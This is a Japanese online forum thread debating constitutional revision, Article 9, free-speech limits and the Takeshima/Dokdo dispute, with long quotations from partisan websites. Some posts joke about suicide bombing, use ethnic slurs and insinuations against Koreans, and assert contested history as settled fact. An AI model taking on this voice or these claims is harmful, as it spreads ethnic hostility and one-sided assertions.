とりあえず真っ先に、中国と朝鮮に広めてくれ。そうしたら
日本の改憲論議も冷静になるだろうからね。

>>284
>公共の福祉に反しない限りね。

公共の福祉はどれだけでも拡大解釈が出来る概念。

あなたみたいな日本人ばかりだと、1年もしないうちに日本は激変するよ。
警察や政治権力者がその気になったら、すぐにでも北朝鮮体制になる。

>>286
> 公共の福祉はどれだけでも拡大解釈が出来る概念

デマゴーグ。これは権利と権利が衝突するような場合に、どちらの
権利が優先されるのかと言う問題。この場合は、ビラ配りをした者に
違法行為があったので、侵入されたくないという住民の権利が優先
されただけ。お前は権力による言論弾圧という、大仰な問題に摩り
替えたいのだろうけど、実際はしごく単純なことなんだよ。

都合のいいように解釈してばかりだ

憲法の拡大解釈がいかに危険で、いつでも人権が崩壊させられる状況になりつつあることを
見据える必要がある

>>283
改憲論者は自虐の典型
アメリガに無理矢理押し付けられた憲法だから今度は日本人自らの手でアメリカに好かれる
憲法に改憲しよう。
これが改憲論者の自虐的論理、
意地でもアメリカに好かれる憲法にしたくありません。

俺は平和主義者じゃないが、戦争反対主義者として９条改憲には反対する。
血のかよった人間が他国を攻めるための軍隊なんて持つべきじゃない。
他国が攻めてきたなら自衛隊に任せればいいし、
それがダメなら最後まで戦争に反対した者としてこの故郷の地で死ぬ覚悟をしている。
ちょっと極端ではあるが、俺はそう考えている。

それはパルチザンとかわらん

パルメザンか

>>289
＞意地でもアメリカに好かれる憲法にしたくありません。

確かに今のブッシュ大統領にとっては、目障りな憲法だ。
この憲法のおかげで自衛隊員をイラクでは、治安維持用の兵隊としては使えない。

この憲法がなかったら、ベトナム戦争の時点で韓国軍と同じようにコキ使われて
5千人近くの戦死者を安い金額で自衛隊は出してたことだろう。

ーーーーー（引用開始）−−−−−
将兵たちが米軍並みの戦闘手当てを受けるよう米国と協議することを政府に提案
した。当時、軍人報酬法には、戦時や事変など、国家の非常時の戦闘に従事する
将兵にのみ戦闘手当てを支給するようになっていたため、派遣将兵たちは、戦闘
手当てを受けることができなかった。
http://www.geocities.jp/savejapan2000/korea/k470.html

>>287
＞言論弾圧という、大仰な問題に摩り替えたいのだろうけど、実際は
＞しごく単純なことなんだよ。

すり替えてるのは権力を持った検察官なんだぜ。
「被害届け」をワザワザ被害者に出させて、ビラ配りをした人間を逮捕し起訴
まで持って行くの。

気に入らんビラが1枚入ってただけで、普通の人間が警察に被害届けを出すか？
あなたは温室育ちで、実際の一人暮らしの生活をしてない人間じゃないかな。
気に入らんだけで、被害届けを出しに警察まで行くような暇人はめったにいないよ。

ーーーーー（引用開始）−−−−−
２月２７日に逮捕されて以降、３月１９日に起訴されるまでの間に接見禁止が
長期間ついたままだったため、職場への連絡が思うに任せず大変不便な思いをしました。
http://www.geocities.jp/solea01/test.html

>>284
＞ビラ撒きは今でも平気でできるよ。公共の福祉に反しない限りね。

北朝鮮でさえ言論の自由は、憲法上では保証されてるよ。
中身はゼロだけど・・・・
アンタは日本を、アンタの理想とする北朝鮮状態にしたいだけだ。

俺は憲法で、権力者の言う公共の福祉より何よりも大切なのは「言論の自由」
だと思ってる。
権力者にとって拡大解釈はオテノモノ。

−−−−−（引用開始）−−−−−
「公民は、言論、出版、集会、示威及び結社の自由を有する」（第67条）と、
形式的に言論の自由が規定されています。

しかし実際のところ、北朝鮮の各種メディアにとっての報道とは“人民が知り
　たいこと”ではなく、“人民が知っていなければならないこと”、つまり朝鮮
労働党にとって必要と認められる宣伝・扇動こそがその基準となっています。
http://www.piks.or.tv/report/20030300.htm

>>288
＞いつでも人権が崩壊させられる状況になりつつあることを見据える必要がある

東京ではずいぶん、拡大解釈が流行してる。

−−−−−（引用開始）−−−−−
神奈川県内に住むボスニア・ヘルツェゴビナ人の語学学校講師スーレイマン・
ブルキッチさん（３５）は昨年四月、通勤途中にある電柱に、自分の顔写真が
入った張り紙を見つけた。

　漢字が読めないスーレイマンさんは、妻の加奈子さん（２８）を呼び出した。
「指名手配」。Ａ４判の大きさの張り紙にはそう書かれてあった。所轄の警察署
名も記され、スーパーや駅などで約三十枚見つかった。悪質な嫌がらせだった。

　思い当たる理由は一つしかなかった。米中枢同時テロ後に米国がアフガニスタン
などで始めた戦争以来、東京・赤坂の米国大使館前で行ってきた反戦の抗議活動だ。

　来日して十四年。それまで特別な団体で活動したり、街頭に立った経験もなか
った。だが、旧ユーゴスラビアの内戦で傷ついた祖国を憂うスーレイマンさんに
は、圧倒的な軍事力で他国を従わせようとする米国の横暴が見過ごせなかった。

−−−−−（引用開始）−−−−−
加奈子さんも米国に追随する日本にかつてない危うさを感じ、戦争に苦しむイラク市民の
姿をパネルに掲げ、自衛隊撤退を訴えた。

　　　　□　　　□

　張り紙事件から半年後、加奈子さんの職場に私服の刑事二人が現れた。任意出頭を
求められ、数日後、警視庁赤坂署に出向いて驚いた。加奈子さんに「暴行容疑」がかけられていた。

　「米国大使館から出てきた人の顔の前で、ハンドマイクで怒鳴りつけた」というのだ。全く
　身に覚えはなかった。

　大使館前には制服の警察官がいる。暴力を振るえば、その場で逮捕されるはずだ。そも
そも怒鳴っただけで暴行になるのか。加奈子さんは非暴力に徹していることを告げ、「これ
　からは弁護士を通してほしい」と念を押した。

　しかし、警察はことし二月十六日夜、強制捜査に踏み切った。四人の私服刑事が自宅を
訪れ、令状を示して家宅捜索を始めた。

−−−−−（引用開始）−−−−−
刑事たちは、「ここにはありません」と説明したハンドマイクを、事件の証拠品として探すの
だと言って、下着しか入っていない洋服棚まで開けた。

　約三十分。刑事たちは室内のあちこちの写真を撮っただけで引き揚げた。帰り際、刑事
の一人が言い放った。「とことんやってやるからな」

　東京都立川市では二月、自衛隊官舎内にイラク派遣反対のビラを配った市民団体の
三人が、住居侵入容疑で警視庁公安部に逮捕された。

　起訴後も保釈が認められず、拘置は異例の七十五日間に及んだ。ビラ配布で住居侵入
罪が成立するのか。現在東京地裁八王子支部で争われているが、「司法は本当に歯止め
になるのか」と支援者は疑う。

　スーレイマンさんと加奈子さんは今、米国大使館前を自由に歩くことができない。警察官
が通さないからだ。仕方なく二百メートルほど離れたビルの前で、週に二、三回、仕事の
合間に反戦を訴えるマイクを握る。

　警察の監視は続くが、二人は抗議活動をやめるつもりはない。「自分たちの意思を表明
する権利は、だれも奪えない」と信じるからだ。それでも時々、思わずにはいられない。

「この国で保障された自由はどこにあるんだろう」

（2004年6月）

>>290
＞それはパルチザンとかわらん

パルチザンと呼ぼうが、何と呼ぼうがそれが俺の生き方。
自衛隊だけには任せておくつもりは、俺にはない。

ただし俺は天皇を大切にしたい右翼だし、平和至上主義者じゃない。
俺がイラク人なら、今頃は自爆テロしてあの世に言ってるかもな。
ただし米兵だけを道連れにしてＷＷＷＷＷＷＷＷＷＷＷＷＷｗ

平和至上主義者じゃないなんてのんきにいってられるのも平和主義を実践してきたから
日本が世界有数の経済大国になったのは吉田茂の選択が正しかったから
戦後レジームこそ日本が死守すべき成功の鉄則
戦争を知らないばか総理大臣の右翼リベラリズムにだまされてはいけない
今こそ戦後の保守本流の功績をしっかりと再確認すべき時なのである

憲法９条は２項に自衛隊保持を明記する必要はあるがそれ以外は変更の必要はない

集団的自衛権などもってのほかである　戦争を知らない若造の劣等感につられて国是を捨てるとは愚か過ぎる
日本の繁栄を守りたかったら野党に投票すること　打倒安倍政権！

日米安保の影響なぞ全く言及せず、ただただ
９条のおかげ、としか言えないおじいさん達を
見ると、どうなのかな？とは思う。
小学生が言う分には文句は無いけどね。

>>301
それは、護憲派の中にもレベルの低い議論はある、ってだけの話で、護憲という結論そのものを否定する材料にはならないのでは？

憲法の専門家はほとんどが護憲派なんだけど、少なくともそんなことを言っている人は多分一人もいないはずですよ。

>>294
> 気に入らんビラが1枚入ってただけで、普通の人間が警察に被害届けを
> 出すか？

馬鹿。ビラはいろんなヤツがいろんな理由で入れていくだろ。その時
捕まったのが、たまたまサヨクだったというだけ。
お前はサヨクが検挙された例だけを、恣意的に取り上げているが、ウヨク
の街宣やビラ撒きも、サヨク以上に逮捕されてるんだよ。赤尾敏のところ
なんか、何度逮捕されてることやら。もちろんそれ以外のエロビラ、宗教
ビラ、商売ビラなども、検挙された事例はたくさんある。ただ彼らは
サヨクのように、話しに尾ひれを付けて騒ぎ立て、反政府宣伝に利用し
ないだけ。


>>295
> アンタの理想とする北朝鮮状態にしたいだけだ

何で唐突に北鮮が出てくるのかと思ったけど、そー言えば、お前の一族の
故郷だったもんな。さすが詳しいんだね w

> 何よりも大切なのは「言論の自由」だと思ってる。

あそ。オレは基本的人権だと思ってるよ。

>>296-298
オレだって警察を盲信しているわけじゃないけど、これは・・よく出来たお話しだね。
リポートにしては主観的過ぎるし「てにをは」が随分と加工されてるんだろうなー w

サヨクの宣伝乙！

>>293
> 韓国軍兵たちは安い金額でコキ使われた

その代りベトナムで略奪や女狩りのやり放題だったわけだ。

もし９条が無くて自衛軍があったなら、北鮮や李承晩に国民を
何百人も拉致されて、手をこまねいていたとは考え難い。竹島
を侵略されていたとは考え難い。こんなに情けない対米依存国
になっていたとは、考え難い。

>>300
> 日本が経済大国になったのは吉田茂の選択が正しかったから

これは正しい。しかし吉田は、コストの大きい安全保障を米国に
丸投げし、経済復興を成し遂げた後で、改憲をして自主憲法を
持とうと考えていたんだよ。あのタヌキが９条で満足するはず
ないだろ。

> 戦後レジームこそ日本が死守すべき成功の鉄則

時代の変化を見れない馬鹿意見。米国の圧力でここまでの解釈改憲
をしてきたんだぞ。絶対出来なかったはずの再軍備。海外派兵。
集団的自衛権・・・。このままでは次にどうなるのか明らかだろ。
それを阻止するには、受身じゃダメなんだよ。積極的に意見を言える
立場になること。
そのためには安全保障に関して、安保に頼りきりの状態から脱出する
必要がある。だから改憲して、米軍の補完でしかない自衛隊を、自律
した自衛軍にして、米国以外の国との協力体制を整えるしかない。

> 集団的自衛権などもってのほかである

集団的自衛権とか個別自衛権とかは、ただの神学論争。現実的には
区別する意味が無い。

>>303
>>> 何よりも大切なのは「言論の自由」だと思ってる。
>>あそ。オレは基本的人権だと思ってるよ。

言論の自由は、基本的人権の一つですけど？

★日本は戦後９年間、国防に空白期間がありました。この国防の空白期間に北方領土、竹島が侵略されたのです。

１９４５年８月１５日……旧日本軍武装解除

１９４５年８月２８日……ソ連、北方領土侵略
１９４７年５月０３日……日本国憲法施行
１９５２年１月１８日……韓国政府、竹島侵略

１９５４年７月０１日……防衛庁・自衛隊発足


９条があってもなくても侵略されてしまいましたね、コレ歴史的事実。

>>307
それが何か？

エナリは言論の自由だけが突出して重要と言うんだろうけど、
オレは違うと、主張しているだけだよ。
そして、権利どうしが衝突した時に、公共の福祉という概念が
出て来るんだよと >>287 で解説したはずだが・・・。

朝鮮総連と緒方重威 （元公安調査庁長官　元検事）の癒着が事件になったが、

◎今年１月の時点で

>(朝鮮と癒着している私立学校)理事長は法曹界にも触手をのばしているので
>早くしないと　日本の法務関係が大変なことになる

と書かれて、法曹界の危機を忠告しているスレ

【朝鮮と】癒着している私立学校【暴力団も】
http://society6.2ch.net/test/read.cgi/soc/1169948637/l50

関連スレ
【首都圏】朝鮮人の多い私立中高一貫校★２
http://school7.2ch.net/test/read.cgi/ojyuken/1176881114/l50

憲法原理主義だよな。

>>309
＞権利どうしが衝突した時に、公共の福祉という概念が

権力者の判断に任せるという、あなた程度の公共の福祉概念じゃ、
言論の自由なんて簡単に潰されるよ。

−−−−−（引用開始）−−−−−
はっきり言って私は、ここの何人かが大嫌いだ。

それでも、ここ(RSA掲示板)において、不快なクソッタレとして存在できると
いう彼らの権利については、私の命をかけてでも守るつもりだ。
(それが「言論の自由」というものだ)
http://hotwired.goo.ne.jp/news/print/19991117204.html

異教徒に対して十字軍のしたこと

彼らが見たもの、それは聖戦などとは程遠い凄惨な殺し合いだった。十字軍は、怪物的とも思える残
虐行為を随所で発揮した。攻城戦では、討ち取った敵の首を砲弾代わりに相手側に打ち込んだ。捕虜
を生きたまま砲弾に縛りつけカタパルトから投げ出すことさえあった。

糧食が尽きると、殺した相手の肉を、細切れにして料理して食ったのだ。年代記は言う。「大人の肉
は薄くそいで鍋に入れ、子供の肉は串に刺してあぶって食べた。人肉は孔雀の肉に薬味を加えたような
味で、たいそう美味であった」　
このように、相手が異教徒ともなると、もはや人間とは見なさず、野獣のような行為を平気で行うのである

>>日本がこんな怨念の渦にはいっていいのですか？

>>312
権力者の判断ねぇ・・・じゃ誰の判断ならいいの？

>>314
＞権力者の判断ねぇ・・・じゃ誰の判断ならいいの？

言論の自由の「天敵」は権力者なんだよ。
もちろんそのほかにも暴力団や宗教団体も敵の一つではあってもたいした事はない。
でもその権力者に公共の福祉の概念を、あなたみたいに任せては話にならんよ。

映倫という組織がある。
映画に暴力やエロが極端に出されては、子供に対する悪影響が大きすぎるから
その規制するための組織だ。

これは政府権力とは独立して、映画の製作をしたり輸入する会社が自主的に
悪影響を少なくしてる。
これくらいの慎重な姿勢がないと、権力者は喜んで暴走してしまう。

−−−−−（引用開始）−−−−−
映倫管理委員会（映倫）は表現の自由を護り、青少年の健全な育成を目的として
映画界が自主的に設立した第三者機関です
http://www.eirin.jp/

此処に来られる護憲の皆様は、現行平和憲法にあります、

　「諸国民の公正と信義への信頼」

をよく理解していらっしゃるのでしょうか？　そして、それをよく理解した上で、
９条の「お力」を信じ切る事が出来るのでしょうか？

国際社会の現実を直視し、９条の「お力」を信じ切れない方々は、
お花畑の世界に成立する、現行平和憲法を奉る方々とは言えません。

真の現行平和憲法の擁護者とならない方々は、このスレを出て行く事を
強くお勧め致します。

>>316
＞９条の「お力」を信じ切る事が出来るのでしょうか？

9条の力は日本とアメリカの権力者には、少しは役に立った。
ベトナム戦争にも自衛隊は動員されなくて住んだし、アフガンでも
行かなくて済んだ。

でもイラクで海外派兵の実績を作ったから、これからの日本の
権力者にもあまり役に立たないかも知れん。

安倍晋三があれだけ必死になるから、まだ少しは役に立ってるのかもな！！！

>>315
なるほど、政府権力だけは特別に警戒しなければならない、
極悪の権力なんですね。今度から投票に行くの止めよー w

そんな世の中になったら、言論という名の脅迫や暴力を得意と
する人達は、きっと大喜びだね。

>>317
> ・・・少しは役に立った。ベトナム戦争にも自衛隊は動員されなくて
> 住んだし、アフガンでも行かなくて済んだ。

そして拉致被害者を見殺しにし、面白いよに血税をカツ上げされ続けた。
領空領海は蹂躙され放題で、国内は世界一のスパイ天国となった。重要な
情報は頭上を素通りし、国際会議では座ってるだけのお飾りと成り果てた。
・・・・・

>>319
＞そして拉致被害者を見殺しにし

それをやったのは、歴代自民党政府だろ。
やっとこさ小泉総理が、金正日の長男家族4人が日本に密入国してたのを
偶然に逮捕したから無条件解放して、5人の日本人拉致被害者を返してもらったんだぜ。

世界3位の軍事費を使わせてもらいながら、権力者としてはヘタレとしか言えないね！！！！

−−−−−（引用開始）−−−−−
２００１年度の主要各国の軍事費　　グラフ作成：環境総合研究所
http://eritokyo.jp/war-env/newyearcolum2.html

>>318
＞言論という名の脅迫や暴力を得意

あなたのいう「言論という名の暴力」と俺のイメージはずいぶん違うようだ。
俺は「言論という名の暴力」を創価学会が、都合の悪い相手の写真を捏造まで
して機関紙：創価新報などで大々的に悪宣伝する行為。

普通の人間なら即、社会的生命は亡くしてしまうだろうね。

−−−−−（引用開始）−−−−−
日蓮正宗の老僧の古稀記念の宴会に出席をした時の写真です。十一人の僧侶と八人
の奥さんが同伴で出席しており、その姿が写っている。

ところが創価学会は、その時写された写真にトリックを加え、あたかも日顕さんが
一人で芸者遊びをしているかのように捏造し、機関誌の『創価新報』に「日顕が欲
すは『カネ・酒・色の堕落道』」と誹謗中傷したのです。
http://www.genshu.gr.jp/DPJ/syoho/syoho35/s35_010.htm

>>319
＞国内は世界一のスパイ天国となった。

安倍総理のおかげで、自由貿易国家から軍事機密国家に大変更だ。
ヤマハ発動機のラジコンヘリ事件をみてみろ。

企業のやる気をなくさせて、戦前に逆戻りだ。
俺はこっちの方が怖いよ。

イスラエルは無人偵察機を中国に輸出までしてるのに、日本はラジコンまで
輸出できないのかい？

今の日本には、バカな政治家が多すぎる。
国家の未来像も描けない、アメリカの使い走り政治家が権力者としてえばり過ぎ。
特に安倍晋三！

>>319-322
つまり悪いことは総て政府のせいってことだね。
分かりやすくていいね。差別主義の基本だね w

−−−−−（引用開始）−−−−−
　さらには、その翌日には、大石寺の御僧侶二人が、富士宮市内のコンビニエンス
ストアーで買い物を終えて出てきたところを、待ち構えていた二人組の学会員によって、
一般市民も見ている中で罵詈讒謗を浴びせられる、ということもありました。 　

この時は、御僧侶が車に乗り込もうとしたところ、そのドアに学会員が自分の体を割り
込ませて乗車を阻み、足止めしたあげく、三十分近くにわたって罵倒し続けたのです。

　　これでは、いかに白昼で衆人環視の中とはいえ、軟禁拘束に等しい状況です。
http://www.toride.org/vic/kanda.htm

>>324
層化を警戒するのは、民主主義を尊重する市民として
正しい姿勢だと思うよ。

>>323
＞つまり悪いことは総て政府のせいってことだね。

違うよ、
政府のする悪い事は、国民にとって非常に大きな被害を与えてしまう。
だからあまりお金も与えず、権力も与えず、信用もせずに悪をしないように監視しろ
て事なんだけどな。

とくに長期政権になったら、どんな政権でも腐敗してしまうのは当たり前。
日本でもソ連並みの腐敗臭を、自民・公明政権は放ってるよ。

−−−−−（引用開始）−−−−−
検事歴30年という検察幹部が現職のまま逮捕され、325日間も勾留されていたのだ。
それも検察の組織ぐるみの「ウラ金作り」を実名で告発する動きを見せたゆえの“口封じ”
だった。

ようやく保釈されて３ヵ月、「思いもよらない“まさかの逮捕”」に疲れは隠せないが、「検察
の非道」とは闘い抜く覚悟も十分だった。

三井氏の口から飛び出す驚くべき証言の数々はぜひ動画でご確認いただきたい。
http://kodansha.cplaza.ne.jp/broadcast/special/2003_07_02/content.html

>>326
確かに危ないところはあるけどね。警戒を怠っちゃいけないと
いうのも分かるけどね。一番大切なことは、政府を化け物みたいに
恐れることじゃなくて、有権者が賢くなって、主権者としての自分の
責任をまっとうすることなんだけどね。

■日本国憲法前文
日本国民は、恒久の平和を念願し、人間相互の関係を支配する崇高な理想を深く自覚するのであつて、
平和を愛する諸国民の公正と信義に信頼して、われらの安全と生存を保持しようと決意した。

★平和を愛する諸国民の公正と信義に信頼して←←←平和憲法はこれが前提条件、念のため。
★平和を愛する諸国民の公正と信義に信頼して←←←平和憲法はこれが前提条件、念のため。
★平和を愛する諸国民の公正と信義に信頼して←←←平和憲法はこれが前提条件、念のため。
★平和を愛する諸国民の公正と信義に信頼して←←←平和憲法はこれが前提条件、念のため。

中国、朝鮮は平和を愛してるの？

>>327
＞有権者が賢くなって、主権者としての自分の責任をまっとうすることなんだけどね。

なんか学校の先生の説教みたいだ。
それじゃ「100年　河　清を待つ」というバカタレのいう屁みたいな思想。
政治家は有権者並みの品格しかもてないもの。

むしろ政治とは非常に重要な問題だから、政治家には任せられないものというべき。

スイス並みにチョクチョク国民投票をすれば、有権者も少しは責任を感じ自分の
脳ミソを使うようになってくれると思うけどね。

>>328
＞中国、朝鮮は平和を愛してるの？

俺は平和を愛してる方が多いと思う。
情報量は日本の方が多いとは、一応思うがこれはあまり自信がない。

竹島の問題にしても、韓国の主張は日本語ではほとんど聞こえない。
どこのＨＰ見ても国粋主義：嫌韓派はでいっぱいだ。

ほとんどの人が今は国家って概念の上にいるから

国家の安全=平和って思考になってる人がいても可笑しくない

>>330 竹島の問題にしても、韓国の主張は日本語ではほとんど聞こえない。

韓国の主張って？

>>330　韓国の主張をほんとに聞きたいよ。

　どうも最近の情報では日本に喧嘩を売っている程度とは思えない。

　エンコリの惨状をみると特にな。

　最近は北挑朝鮮の衛星国ではないかと思えるが違うの？

>>332
下を読んでくれ
http://money6.2ch.net/test/read.cgi/seiji/1164029474/

軍事侵略なんてアンタ、竹島は日露戦争の真っ最中に、ロシア軍艦の監視の
ために、日本が見張り台基地として軍事侵略したんだよ。
間違わないようにしなさい！

日露戦争では宣戦布告の前に、ロシア軍艦を奇襲攻撃し韓国の首都を制圧
したんだぜ。
首都を日本軍に制圧されてては、、竹島に見張り台基地を作られても文句は
韓国政府としてはいえないよ。

ーーーーー（引用開始）−−−−−
日本は２月１０日の宣戦布告に先立って、２月８日、旅順に停泊中のロシ
ア艦隊に奇襲攻撃をかけると同時に、韓国の仁川沖ではロシア軍艦２隻を撃沈
しました。さらに臨時派遣隊が仁川から上陸し漢城（ソウル）に入り、首都を
制圧するなど軍事行動を起こし、韓国の中立宣言を無残に蹂躙しました。
http://www.han.org/a/half-moon/hm085.html#No.591

>>329
政治家と有権者の品格は同レベルと知っていながら、何故に
「政治家には任せられない」などと、矛盾したことを言うのか
ねえ。
有権者のレベルが上がらなければ、抜本的名解決にはならん
でしょーに。

>>330
向こうでまともに反論してから言え。
http://money6.2ch.net/test/read.cgi/seiji/1164029474/431


>>334
またホロン部の嘘宣伝か。実にご熱心なことで。

竹島は日本固有の領土です。日露戦争で日本海が剣呑になって
きたから、ロシアに占領される前に、日本の領土だということを
明文化しただけ。朝鮮の情勢なんて関係ない。

>>335
＞有権者のレベルが上がらなければ、抜本的名解決にはならん でしょーに。

どうすれば上がるのかが、あなたには無い。

俺の主張は、政治のシステムが今なままならそのままで
スイスのシステムになれば、日本のレベルも激変するだろう。
「政治家には任せられない」とはスイスのシステム。

環境が変われば、人間の意識も変わる。
環境が変わらなければ、人間の意識もナカナカ変わるものじゃない。

>>336
＞明文化しただけ。朝鮮の情勢なんて関係ない。

何度も俺は反論してるはずだが、理解してもらえない様だね。
日露戦争の真っ最中に、なんで韓国にも内緒で日本領にしたのか。
当然、軍事的要請が考えられるだろうに、あんた子供並みの知能だな。

それに1877年日本が韓国よりたいして強くない時には「鬱陵島ほか一島」を
日本領土ではないという内閣声明を出してます。

これは国土地理院が日本地図を作るのに、島根県に問い合わせして鬱陵島と竹島
の説明をして、日本領ではないと明治時代の内閣に報告してます。
だから逆にこの時点1877年では、竹島が日本領土でないと明文化してました。

30年後の日露戦争のドサクサ、1905年には逆になったけどね、

−−−−−（引用開始）−−−−−
太政官が竹島（鬱陵島）、松島（竹島＝独島）の領有問題を考えるきっか
けになったのは、内務省の地理寮が地籍を編纂するために、島根県に「竹島」
なる島の情報を照会したのがきっかけでした。
http://www.han.org/a/half-moon/hm082.html#No.564

>>337
国民投票なんてポピュリズムを拡大させるだけ、有権者が
成熟していなかったら、近視眼的な政治になってしまう。
国民の政治的成長は、甘えを廃し責任を負うことがない限り
望めない。
君のように、何かというと国が悪い国のせいだとする態度も、
甘えの最たるもの。その国の主権者は自分であり、この事態
を何とかするのは、自分の責任であるという自覚なくして、
事態を打開することは出来ない。
環境を変えるのなら、個人の責任の範疇をはっきりさせる
ことだね。

>>338
反論になっていないだろ。逆切れしているだけ。
一方では「日露戦争のドサクサ」と言いながら、一方では敗戦の
ドサクサに、竹島を略奪した韓国の犯罪を擁護しているんだから、
意見に一貫性が無いんだよ。

太政官の発言については、向こうでオレが論破したはずだぞ。
君は結局、島根県の提出した資料が不正確であるという、オレの
指摘に反論出来なかったんだからね。
http://money6.2ch.net/test/read.cgi/seiji/1164029474/636
http://money6.2ch.net/test/read.cgi/seiji/1164029474/637

日本にとって朝鮮政府なんて眼中に無いのだよ。否、国際社会に
とってもね。「あ、いたの？」くらいの存在。わざわざ策を弄して、
小さな島を奪うなんてことをするはずがない。だって、その後全部
まとめて頂いちゃったんだからね w

>>306
違うと思うけどな。

吉田茂は日本軍がアメリカ軍の下請けとして使われるのを恐れたのじゃないか？。
吉田茂は独立主義者だから、それが我慢できなかったと思われる。
当時から対米売国奴（岸など）がいたしね。

今でも集団的自衛権とかいう名目で、自衛隊（日本軍）をアメリカ軍の下請けに
しようとする連中がいる。岸の後継者グループ（清和会）のことだよ。

清和会などのアメリカの手先がいなくなれば９条改正しても
良いのだけどね・・。今改正するのは危険だ。

社会党系の平和主義者は、もともと吉田茂に思想的に近い
独立主義者で、平和主義は建前だったと思う。世代が変わって、
本音が忘れられて建前だけになったけどね。

「Q&A解説・憲法改正国民投票法」
http://www.amazon.co.jp/Q-A%E8%A7%A3%E8%AA%AC%E3%83%BB%E6%86%B2%E6%B3%95%E6%94%B9%E6%AD%A3%E5%9B%BD%E6%B0%91%E6%8A%95%E7%A5%A8%E6%B3%95-%E5%8D%97%E9%83%A8-%E7%BE%A9%E5%85%B8/dp/4877983449/ref=pd_ecc_rvi_2/250-4549216-4505007?ie=UTF8&qid=1182586898&sr=1-1

>>340
＞太政官の発言については、向こうでオレが論破したはずだぞ。

下條正男説の2番煎じだろう。
「オレが論破」なんて片腹痛いＷＷＷＷＷＷＷＷＷＷＷＷＷＷＷＷ

半月城氏がそれには反論してるから、出しておきます。

−−−−−（引用開始）−−−−−
下條氏はどうしてもこれに承服できないとみえてこう記しました。
　　　　　　　−−−−−−−−−−−−−−−−−−−−
この太政官による審査は、十分とはいえなかった。「竹島外一島」の「一島」が、今
日の竹島を指すのかそうでないのか、判然としないからである（注2）。
　　　　　　　−−−−−−−−−−−−−−−−−−−−

このように下條氏は「一島」がどこを指すのか判然としないと書きましたが、そんな
ことはありません。関係書類で「一島」は明確になっています。下條氏はその関係書類を
恣意的に無視しているようです。
http://www.han.org/a/half-moon/hm107.html#No.786

>>340
＞方では敗戦のドサクサに、竹島を略奪した韓国の犯罪を擁護しているんだから、

韓国の犯罪とは俺は思わない。
敗戦後に連合軍により、日本は竹島から離されてしまった。

マッカーサーラインで日本漁船は、その付近で漁業さえ出来なくなったけど
ＳＦ条約の発効でマッカーサーラインが消滅するので、李承晩ラインを韓国が
作ったわけだ。

領土を確定するには、当然の措置で犯罪とは思えん。
マッカーサーラインでも日本人は銃撃され死者が出てたんだね。
確かに強制力のない海上のラインじゃ、漁民にとっては屁みたいなもんだからな。

−−−−−（引用開始）−−−−−
それどころか、御主人様の基地や演習場に近づくだけで機関銃で威嚇射撃されて、独立以降も何人も死者が出ている。

　陸上だけかと思っていたら、大学で同期だった漁師の息子の話では、基地近くの海上でも御主人様海軍の警備艇から漁船が銃撃されて死傷者も出ているそうです。
　しかし、マッカーサーの検閲で新聞はけして事件を取り上げなかったとか・・・

　そんなことも知らないで李ラインだけを取り上げてるなんて、メリケン奴隷の奴隷根性としか言いようがありませぬ。
http://www.asyura2.com/0610/asia6/msg/535.html

>>340
＞日本にとって朝鮮政府なんて眼中に無いのだよ。

これは確かに言えてる。
当時の日本は、日清戦争に勝ち、韓国の王妃を日本軍が殺し、ロシアとの戦争で
韓国の中立宣言を無視して占領するくらいの、傍若無人は眼中にない証拠。

まあ、俺にもわからんわけじゃない。
相手は世界的にも最先進国で、経済力、軍事力でも日本よりもはるかに格上のロシア
奇襲攻撃をやり、韓国を軍事基地として使っても勝てるかどうか判らん相手だ。
韓国の中立宣言なんて無視せざるを得ないよ。

その状態で竹島が見張り台基地として必要なら、韓国併合前でも完全に安全が
確保できるように、軍事基地として日本領土にするのも当たり前の話。

−−−−−（引用開始）−−−−−
問題のリャンクール島には１１月２０日、軍艦対馬を派遣し、まず望楼の
建設が可能であることを確認しました。建設は、冬季は不可能だったことやバ
ルチック艦隊との決戦のため遅れ、翌年の７月２５日に着工し、８月１９日か
ら運用を開始しました。
　　このようにリャンクール島は軍事的に注目されるなか、海軍水路部の指導
のもと、漁師の中井養三郎は「りゃんこ島領土編入並ニ貸下願」を１９０４年
９月２９日内務・外務・農商務の三省に提出しました。

　　中井はこのころ同島でアシカ猟をしており、同島の事情をよく知っていた
人物ですが、かれは「本島の鬱陵島を（ママ）付属して韓国の所領なりと思は
るる」としており、竹島（独島）を朝鮮領と認識していたことは注目されます。
http://www.han.org/a/half-moon/hm069.html#No.460

>>339
＞国民投票なんてポピュリズムを拡大させるだけ、有権者が
＞成熟していなかったら、近視眼的な政治になってしまう。

俺はスイスだって最初から成熟してた国民とは思はない。
制度が国民を変化させていくと思ってる。

>>344
> 下條正男説の2番煎じだろう

君は下條さんが好きだね。オレはこの人のことをよく知らない
んだけど、どこで下條さんの意見を見れる？

> 半月城氏がそれには反論してるから

オレが投げかけた疑問に何も答えていないね。矛盾に目を閉じ
て強弁しているだけ。それにしても、他人のことを二番煎じとか
言っといて、自分では反論ひとつ出来ないなんて、やれやれ。

>>345
> マッカーサーライン

マッカーサーラインには、この取り決めは日本の領土の範囲を決定する
ものではないという、但し書きが付いていている。

> 韓国の犯罪とは俺は思わない

エナリの正体は帝国主義者だもんなー。
関係各国の同意を得ずに、公海上に勝手に引いた李承晩ラインは、国際法
に違反する犯罪である。

> ＳＦ条約の発効でマッカーサーラインが消滅する

あははは・・。これが本音だろ。SF条約が発効して日本が主権を回復
したら、竹島略奪計画が失敗になるもんなー。だから条約発効の前に、
侵略したんだよなー。

> 領土を確定するには、当然の措置で犯罪とは思えん

日本は誰も殺さずに竹島を編入した。韓国は何百人という日本人を拉致し、
暴行や殺人を犯して侵略した。・・・でも、韓国は正しいんだよね〜。
エナリはホロン部です。みなさん気おつけましょう！


「敗戦のドサクサ」と「意見に一貫性が無い」という指摘から、巧妙に
逃げたつもりなんだろうけど、頭隠して何んとやら(笑)

>>347
えせ平和主義者のスイス信仰でした。チャンチャン♪
スイスの実態を知らないアホ(笑笑)

>>349
＞但し書きが付いていている。

但し書きが付いてても、なんで連合国に日本領土から離されたんだい？
単細胞の方はそこに対する思考が全く働かないんだよね。
不思議だけど・・・・

それに公海上の無人島を、勝手に領土にしたのは日本だろう。
日本軍隊が基地を作り、日本軍隊が韓国全土を自由に移動してた同盟国の
韓国に無断で。

これはどう考えても対等の国家とは考えられない、韓国の屈辱としかいえないよ。
領土にした直後、5年後には韓国を日本が併合したんだからね。
やっぱり軍事力を背景に、日露戦争のドサクサに韓国からカッパラッタ無人島だよ。

それから「国際法とは弱国を奪う狼ドモの道具にすぎん」といったのは明治の元勲だよ
くれぐれも判断の頼りにしないように。

−−−−−（引用開始）−−−−−
